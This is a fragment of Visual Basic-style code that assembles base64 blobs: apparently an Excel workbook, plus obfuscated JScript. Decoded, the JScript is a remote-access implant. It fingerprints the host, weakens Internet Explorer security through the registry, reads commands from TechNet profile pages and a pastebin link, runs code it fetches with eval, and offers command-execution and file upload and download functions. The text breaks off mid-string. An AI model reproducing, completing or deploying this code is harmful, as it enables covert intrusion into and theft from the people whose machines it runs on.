      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAA"
      x = x & "AAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYA"
      x = x & "AAAXAAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAA/v///x8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAD+////JwAAACgAAAAp"
      x = x & "AAAAKgAAACsAAAAsAAAALQAAAP7////9/////v//////////////////////////////////////////////////////////////"
      x = x & "////////////////////////////////////////////////////////////////////////////////////////////////////"
      x = x & "////////////////////////////////////////////////////////////////////////////////////////////////////"
      x = x & "////////////////////////////////////////////////////////////////////////////////////////////////////"
      x = x & "////////////////////////////////////////////////////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYABQH//////////wIAAAAgCAIAAAAAAMAAAAAAAABGAAAA"
      x = x & "AAAAAAAAAAAAgLlh5eAr0AH+////AAAAAAAAAABXAG8AcgBrAGIAbwBvAGsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAEgACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACN"
      x = x & "OgAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIB"
      x = x & "AQAAAAMAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAQAAAAAAAABQBEAG8AYwB1AG0AZQBu"
      x = x & "AHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAADgAAgH///////////////8AAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmAAAAABAAAAAAAAA="
      End Sub
      Public Sub GenJS(ByRef x)
      GenJS0 x
      GenJS1 x
      End Sub
      Public Sub GenJS0(ByRef x)
      x = x & "dmFyIG9yej0NCnsNCgliRGVidWcgOiBmYWxzZSwNCgliRGVsZXRlU2VsZiA6IGZhbHNlLA0KCWVyckxvZ0ZpbGVQYXRoIDogJycs"
      x = x & "DQoJDQoJYk11dGV4IDogZmFsc2UsDQoJbXV0ZXhGaWxlTmFtZSA6ICdfeG11dGV4XycsDQoJbXV0ZXhGaWxlUGF0aCA6ICcnLA0K"
      x = x & "CW11dGV4RmlsZSA6IG51bGwsDQoJDQoJYkZvcmV2ZXJUcnkgOiB0cnVlLA0KCXJldHJ5SW50ZXJ2YWwgOiAxMDAwKjYwKjI1LA0K"
      x = x & "CXJldHJ5VGltZSA6IDMsDQoJYkZpcnN0VHJ5IDogdHJ1ZSwNCgkNCglpbml0VXJsIDogJ2Fib3V0OmJsYW5rJywNCglqbXBVcmw6"
      x = x & "ICcnLA0KCWptcFVybExpc3QgOiBbJ2h0dHBzOi8vc29jaWFsLnRlY2huZXQubWljcm9zb2Z0LmNvbS9Qcm9maWxlL3RlY2huZXR4"
      x = x & "dWtiYWt1cHNlJywnaHR0cHM6Ly9zb2NpYWwudGVjaG5ldC5taWNyb3NvZnQuY29tL1Byb2ZpbGUvdGVjaG5ldHh1aycsJ2h0dHA6"
      x = x & "Ly9wYXN0ZWJpbi5jb20vUmpONGFQWWInXSwNCglqbXBSZWdleCA6IC9sa2hkPT1hZD1uZiguKj8pPWxramY9a24vLA0KCWNvZGVS"
      x = x & "ZWdleCA6IC9oZD04N2RzKC4qPyk9ZGRmaGsvLA0KCWluaXRDb2RlIDogJycsDQoJZHN0VXJsIDogJycsDQoJDQoJbG9naW5Gb3Jt"
      x = x & "SWQgOiAnbG9naW5Gb3JtJywNCglsb2dpbkFjdGlvbiA6ICdhamF4LnBocCcsDQoJdUlkIDogJ3VzZXJuYW1lJywNCglwSWQgOiAn"
      x = x & "cGFzc3dvcmQnLA0KCXZJZCA6ICd2YWxpY29kZScsDQoJc0lkIDogJ3N1Ym1pdCcsDQoJdU5hbWUgOiAndXNlcm5hbWUnLA0KCXBO"
      x = x & "YW1lIDogJ3Bhc3N3b3JkJywNCgl2TmFtZSA6ICd2YWxpY29kZScsDQoJdmFsaWNvZGUgOiAnb21lZ2EnLA0KCXdvcmtGbGFnSWQg"
      x = x & "OiAnd29ya0ZsYWcnLA0KCXdvcmtGbGFnWWVzIDogJ1knLA0KCXdvcmtGbGFnTm8gOiAnTicsDQoJaWRsZVNlY29uZEJlZm9yZUZy"
      x = x & "ZXNoIDogNjAqMzAsDQoJDQoJY2FzZVJlYXV0aCA6ICdyZWF1dGgnLA0KCWNhc2VFeGVjQ21kIDogJ3h4eCcsDQoJY2FzZURvd25G"
      x = x & "aWxlIDogJ2RkZCcsDQoJY2FzZVVwRmlsZSA6ICd1dXUnLA0KCWNhc2VDb2RlIDogJ2NjYycsDQoJY2FzZURvd25GaWxlRGF0YSA6"
      x = x & "ICdkZHQnLA0KCXNwbGl0Q2hhciA6ICd8JywNCgkNCglkb3duRmlsZSA6ICcnLA0KCWRvd25TdGFydCA6ICcnLA0KCWRvd25FbmQg"
      x = x & "OiAnJywNCglkb3duU2l6ZSA6IDAsDQoJZG93bkluZGV4IDogMCwNCglkb3duQ291bnQgOiAwLA0KCWRvd25PbmNlIDogMTAyNCAq"
      x = x & "IDIwMCwNCglkb3duSW50ZXJ2YWwgOiA1LA0KCWRvd25PayA6IHRydWUsDQoJDQoJdXBGaWxlIDogJycsDQoJdXBTdGFydCA6ICcn"
      x = x & "LA0KCXVwRW5kIDogJycsDQoJdXBTaXplIDogMCwNCgl1cEluZGV4IDogMCwNCgl1cENvdW50IDogMCwNCgl1cE9uY2UgOiAwLA0K"
      x = x & "CXVwSW50ZXJ2YWwgOiA1LA0KCXVwT2sgOiB0cnVlLA0KCQ0KCW9JRSA6IG51bGwsDQoJb1NoZWxsIDogbnVsbCwNCglvTmV0IDog"
      x = x & "bnVsbCwNCglvRlMgOiBudWxsLA0KCW9TQSA6IG51bGwsDQoJb1diZW1Mb2NhdG9yIDogbnVsbCwNCglvQ2ltdjIgOiBudWxsLA0K"
      x = x & "CXRtcERpciA6ICcnLA0KCXN0YXJ0dXBEaXIgOiAnJywNCglhbGxTdGFydHVwRGlyIDogJycsDQoJZGlycyA6ICcnLA0KCW9zQml0"
      x = x & "IDogJycsDQoJaWQgOiAnJywNCgkNCglCYXNlNjRfTW9ja0RsbDMyIDogJycsDQoJQmFzZTY0X01vY2tEbGw2NCA6ICcnLA0KCQ0K"
      x = x & "CWFkb0NvbiA6IG51bGwsDQoJYWRvUmVjIDogbnVsbCwNCgkNCgkvKioqKioqKioqKioqKiBCYXNpYyAqKioqKioqKioqKioqLw0K"
      x = x & "CXNob3dPYmo6ZnVuY3Rpb24ob2JqKXsNCgkJdmFyIHJlcyA9ICcnOw0KCQlmb3IodmFyIGkgaW4gb2JqKXsNCgkJCXJlcyArPSBp"
      x = x & "KyI6ICIrb2JqW2ldKycsXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCglkb3duSW5mbzpmdW5jdGlvbigpew0KCQlpbmZv"
      x = x & "ID0gJyc7DQoJCWluZm8gKz0gJ2Rvd25TdGFydD0nK3RoaXMuZG93blN0YXJ0KydcbmRvd25FbmQ9Jyt0aGlzLmRvd25FbmQ7DQoJ"
      x = x & "CWluZm8gKz0gJ1xuZG93bkZpbGU9Jyt0aGlzLmRvd25GaWxlKydcbmRvd25TaXplPScrdGhpcy5kb3duU2l6ZTsNCgkJaW5mbyAr"
      x = x & "PSAnXG5kb3duT25jZT0nK3RoaXMuZG93bk9uY2UrJ1xuZG93bkludGVydmFsPScrdGhpcy5kb3duSW50ZXJ2YWw7DQoJCWluZm8g"
      x = x & "Kz0gJ1xuUGVyY2VudD0nK3RoaXMuZG93bkluZGV4KycvJyt0aGlzLmRvd25Db3VudDsNCgkJaW5mbyArPSAnXG5kb3duT2s9Jyt0"
      x = x & "aGlzLmRvd25PaysnXG4nOw0KCQlyZXR1cm4gaW5mbzsNCgl9LA0KCXVwSW5mbzpmdW5jdGlvbigpew0KCQlpbmZvID0gJyc7DQoJ"
      x = x & "CWluZm8gKz0gJ3VwU3RhcnQ9Jyt0aGlzLnVwU3RhcnQrJ1xudXBFbmQ9Jyt0aGlzLnVwRW5kOw0KCQlpbmZvICs9ICdcbnVwRmls"
      x = x & "ZT0nK3RoaXMudXBGaWxlKydcbnVwU2l6ZT0nK3RoaXMudXBTaXplOw0KCQlpbmZvICs9ICdcbnVwT25jZT0nK3RoaXMudXBPbmNl"
      x = x & "KydcbnVwSW50ZXJ2YWw9Jyt0aGlzLnVwSW50ZXJ2YWw7DQoJCWluZm8gKz0gJ1xuUGVyY2VudD0nK3RoaXMudXBJbmRleCsnLycr"
      x = x & "dGhpcy51cENvdW50Ow0KCQlpbmZvICs9ICdcbnVwT2s9Jyt0aGlzLnVwT2srJ1xuJzsNCgkJcmV0dXJuIGluZm87DQoJfSwNCgl0"
      x = x & "cmFuSW5mbzpmdW5jdGlvbigpew0KCQlyZXR1cm4gdGhpcy51cEluZm8oKSsnXG4nK3RoaXMuZG93bkluZm8oKTsNCgl9LA0KCWdl"
      x = x & "dE9TQml0OmZ1bmN0aW9uKCl7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNlbGVjdCAqIGZy"
      x = x & "b20gV2luMzJfUHJvY2Vzc29yIikpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJ"
      x = x & "CWVsZSA9IGUuaXRlbSgpOw0KCQkJcmV0dXJuIGVsZS5BZGRyZXNzV2lkdGg7DQoJCX0NCgkJcmV0dXJuICd1bmtub3duJzsNCgl9"
      x = x & "LA0KCW5vdzpmdW5jdGlvbigpew0KCQl2YXIgbXlEYXRlID0gbmV3IERhdGUoKTsNCgkJdmFyIG1pbnV0ZSA9IG15RGF0ZS5nZXRN"
      x = x & "aW51dGVzKCk7DQoJCXZhciBzZWNvbmRzID0gbXlEYXRlLmdldFNlY29uZHMoKTsNCgkJaWYgKHBhcnNlSW50KG1pbnV0ZSkgPCAx"
      x = x & "MCl7DQoJCQltaW51dGUgPSAiMCIgKyBtaW51dGU7DQoJCX0NCgkJaWYgKHBhcnNlSW50KHNlY29uZHMpIDwgMTApew0KCQkJc2Vj"
      x = x & "b25kcyA9ICIwIiArIHNlY29uZHM7DQoJCX0NCgkJcmV0dXJuIG15RGF0ZS5nZXRGdWxsWWVhcigpKyItIisobXlEYXRlLmdldE1v"
      x = x & "bnRoKCkrMSkrIi0iK215RGF0ZS5nZXREYXRlKCkrIiAiK215RGF0ZS5nZXRIb3VycygpKyI6IisgbWludXRlICsiOiIrIHNlY29u"
      x = x & "ZHMNCgl9LA0KCWVyck9ialRvU3RyOmZ1bmN0aW9uKGVycil7DQoJCWlmKHR5cGVvZihlcnIpPT0nb2JqZWN0Jyl7DQoJCQlyZXR1"
      x = x & "cm4gZXJyLm5hbWUrJzonKyAoZXJyLm51bWJlciAmIDB4RkZGRikudG9TdHJpbmcoKSArICJ8IiArIGVyci5kZXNjcmlwdGlvbjsN"
      x = x & "CgkJfQ0KCQlyZXR1cm4gJyc7DQoJfSwNCgllcnJMb2c6ZnVuY3Rpb24oZXJyKXsNCgkJdGV4dCA9ICcnOw0KCQlpZih0eXBlb2Yo"
      x = x & "ZXJyKT09J29iamVjdCcpew0KCQkJdGV4dCA9IHRoaXMuZXJyT2JqVG9TdHIoZXJyKTsNCgkJfWVsc2UgaWYodHlwZW9mKGVycik9"
      x = x & "PSdzdHJpbmcnKXsNCgkJCXRleHQgPSBlcnI7DQoJCX0NCgkJZnNvID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1NjcmlwdGluZy5GaWxl"
      x = x & "U3lzdGVtT2JqZWN0Jyk7DQoJCW9TaGVsbCA9IG5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7DQoJCXRoaXMuZXJy"
      x = x & "TG9nRmlsZVBhdGggPSBvU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCcldGVtcCUnKSArICdcXF9FcnJvckxvZy50eHQn"
      x = x & "Ow0KCQlmID0gZnNvLk9wZW5UZXh0RmlsZSh0aGlzLmVyckxvZ0ZpbGVQYXRoLCA4LCB0cnVlKTsNCgkJZi5Xcml0ZUxpbmUodGhp"
      x = x & "cy5ub3coKSsnOicrdGV4dCk7DQoJCWYuQ2xvc2UoKTsNCgl9LA0KCXF1aXQ6ZnVuY3Rpb24oKXsNCgkJdHJ5e3RoaXMub0lFLlF1"
      x = x & "aXQoKTt9Y2F0Y2goZSl7fQ0KCQl0cnl7V1NjcmlwdC5RdWl0KCk7fWNhdGNoKGUpe30NCgl9LA0KCQ0KCWluaXRCYXNlOmZ1bmN0"
      x = x & "aW9uKCl7DQoJCXRoaXMub1NoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuU2hlbGwnKTsNCgkJdGhpcy5vTmV0ID0g"
      x = x & "bmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuTmV0d29yaycpOw0KCQl0aGlzLm9GUyA9IG5ldyBBY3RpdmVYT2JqZWN0KCdTY3Jp"
      x = x & "cHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOw0KCQl0cnl7DQoJCXRoaXMub1NBID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1NoZWxsLkFw"
      x = x & "cGxpY2F0aW9uJyk7DQoJCXRoaXMuYWRvQ29uID0gbmV3IEFjdGl2ZVhPYmplY3QoJ0FET0RCLkNvbm5lY3Rpb24nKTsNCgkJdGhp"
      x = x & "cy5hZG9SZWMgPSBuZXcgQWN0aXZlWE9iamVjdCgnQURPREIuUmVjb3Jkc2V0Jyk7DQoJCX1jYXRjaChlKXt9DQoJCXRoaXMub1di"
      x = x & "ZW1Mb2NhdG9yID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1diZW1TY3JpcHRpbmcuU1diZW1Mb2NhdG9yJyk7DQoJCXRoaXMub0NpbXYy"
      x = x & "ID0gdGhpcy5vV2JlbUxvY2F0b3IuQ29ubmVjdFNlcnZlcignLicsICdyb290XFxjaW12MicpOw0KCQl0aGlzLnRtcERpciA9IHRo"
      x = x & "aXMub1NoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5ncygnJXRlbXAlJyk7DQoJCXRoaXMuc3RhcnR1cERpciA9IHRoaXMub1No"
      x = x & "ZWxsLlNwZWNpYWxGb2xkZXJzKCdTdGFydHVwJyk7DQoJCXRoaXMuYWxsU3RhcnR1cERpciA9IHRoaXMub1NoZWxsLlNwZWNpYWxG"
      x = x & "b2xkZXJzKCdBbGxVc2Vyc1N0YXJ0dXAnKTsNCgkJdGhpcy5kaXJzICs9ICd0bXBEaXI6XG4nK3RoaXMudG1wRGlyKydcblxuJzsN"
      x = x & "CgkJdGhpcy5kaXJzICs9ICdzdGFydHVwRGlyOlxuJyt0aGlzLnN0YXJ0dXBEaXIrJ1xuXG4nOw0KCQl0aGlzLmRpcnMgKz0gJ2Fs"
      x = x & "bFN0YXJ0dXBEaXI6XG4nK3RoaXMuYWxsU3RhcnR1cERpcisnXG5cbic7DQoJCXRoaXMub3NCaXQgPSB0aGlzLmdldE9TQml0KCk7"
      x = x & "DQoJCXRoaXMubXV0ZXhGaWxlUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcJyArIHRoaXMubXV0ZXhGaWxlTmFtZTsNCgkJDQoJCWlm"
      x = x & "KHRoaXMuYkRlbGV0ZVNlbGYpew0KCQkJdHJ5e3RoaXMub0ZTLkRlbGV0ZUZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSk7fWNh"
      x = x & "dGNoKGUpe30NCgkJfQ0KCQkNCgkJaWYodGhpcy5iTXV0ZXgpew0KCQkJdHJ5ew0KCQkJCUZvclJlYWRpbmcgPSAxOw0KCQkJCUZv"
      x = x & "cldyaXRpbmcgPSAyOw0KCQkJCUZvckFwcGVuZGluZyA9IDg7DQoJCQkJdGhpcy5tdXRleEZpbGUgPSB0aGlzLm9GUy5PcGVuVGV4"
      x = x & "dEZpbGUodGhpcy5tdXRleEZpbGVQYXRoLCBGb3JBcHBlbmRpbmcsIHRydWUpOw0KCQkJfWNhdGNoKGVycil7DQoJCQkJV1Njcmlw"
      x = x & "dC5RdWl0KCk7DQoJCQl9DQoJCX0NCgkJDQoJCXRoaXMuaWQgPSB0aGlzLm9OZXQuQ29tcHV0ZXJOYW1lICsnfCcrIHRoaXMuZ2V0"
      x = x & "T1NCaXQoKSArJ3wnKyB0aGlzLm9OZXQuVXNlckRvbWFpbiArJ1xcJysgdGhpcy5vTmV0LlVzZXJOYW1lICsnfCc7DQoJCWUgPSBu"
      x = x & "ZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNFTEVDVCAqIEZST00gV2luMzJfTmV0d29ya0FkYXB0ZXJDb25m"
      x = x & "aWd1cmF0aW9uIFdIRVJFIElQRW5hYmxlZCA9IFRydWUiKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1v"
      x = x & "dmVOZXh0KCkpew0KCQkgICAgdmFyIGVsZSA9IGUuaXRlbSgpOw0KCQkgICAgdGhpcy5pZCArPSBlbGUuTUFDQWRkcmVzcyArICIt"
      x = x & "IiArIGVsZS5JUEFkZHJlc3MoMCkgKyAiLCI7DQoJCX0NCgkJDQoJCXRoaXMuSW5pdE1vY2tEbGwzMigpOw0KCQl0aGlzLkluaXRN"
      x = x & "b2NrRGxsNjQoKTsNCgkJDQoJCXRoaXMub1NoZWxsLlJlZ1dyaXRlKCJIS0VZX0NVUlJFTlRfVVNFUlxcU29mdHdhcmVcXE1pY3Jv"
      x = x & "c29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxab25lc1xcM1xcMTYwMSIsIDAsICJSRUdf"
      x = x & "RFdPUkQiKTsNCgkJdGhpcy5jcmVhdGVJRSgpLlF1aXQoKTsNCgkJaWYodGhpcy5iRGVidWcpew0KCQkJdGhpcy5yZXRyeUludGVy"
      x = x & "dmFsID0gMTAwMCozOw0KCQl9DQoJfSwNCgkNCgltYWluOmZ1bmN0aW9uKCl7DQoJCXRoaXMub0lFID0gdGhpcy5jcmVhdGVJRSgp"
      x = x & "Ow0KCQl0aGlzLmdldENvbmZpZygpOw0KCQkNCgkJaWYodGhpcy5pbml0Q29kZSE9Jycpew0KCQkJdHJ5e2V2YWwodGhpcy5pbml0"
